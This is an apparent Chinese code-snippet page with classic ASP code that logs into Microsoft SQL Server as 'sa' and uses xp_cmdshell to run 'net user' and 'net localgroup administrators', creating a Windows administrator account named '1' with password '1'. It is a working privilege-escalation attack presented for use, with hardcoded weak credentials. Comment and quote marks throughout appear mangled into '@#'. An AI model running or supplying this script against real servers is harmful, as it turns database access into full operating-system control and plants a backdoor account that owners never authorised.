上一篇：把数据库查询信息直接生成网页嵌入EXCEL表的格式，并可导出成EXCEL文件 >>

通过MS SQL 数据库SA帐号增加新用户至administrators组

作者： unknow

<%
@#----数据库连接Start
@#---二级域名名称
Main_Domain="web" @#--域名格式为pcc.net
dim conn_Home
dim conn_Homestr
@#定义数据库类别，1为SQL数据库，0为Access数据库
const IsSqlDataBase_Homestr = 1
call conn_Home_init()
sub conn_Home_init()
   if IsSqlDataBase_Homestr = 1 then
       @# 注此sql登陆需要有sa帐号和xp_cmdshell存储过程
    @#sql数据库连接参数：数据库名、用户密码、用户名、连接名（本地用local，外地用IP）
    Dim SqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName
    SqlDatabaseName = "Master"
    SqlPassword = "1"
    SqlUsername = "sa"
    SqlLocalName = "127.0.0.1"
    conn_HomeStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
      else
      DB = "/User_Database/DataBase/Shop_Manager.MDB" @#---数据库路径
    conn_HomeStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(db)
   end if
   Set conn_Home = Server.CreateObject("ADODB.Connection")
    on error resume next
       if err.number<>0 then
           err.clear
           set conn_Home=nothing
     Response.write "管理数据库连接出错！"
     Response.End
       else
     on error resume next
     conn_Home.open conn_Homestr
     if err then
              err.clear
              set conn_Home=nothing
              Response.write "管理数据库连接出错！"
              Response.End
           end if
       end if
   on error goto 0
end sub

sub endconn_Home()
   on error resume next
      conn_Home.close
      set conn_Home=nothing
   on error goto 0
end sub

@#----数据库连接End
Conn_Home.execute "Use Master "
   Conn_Home.execute "xp_cmdshell @#net user 1 1 /add@#"
   Conn_Home.execute "xp_cmdshell @#net localgroup administrators 1 /add@#"

%>

返回顶部

下一篇：用ASP实现Access数据库查询 >>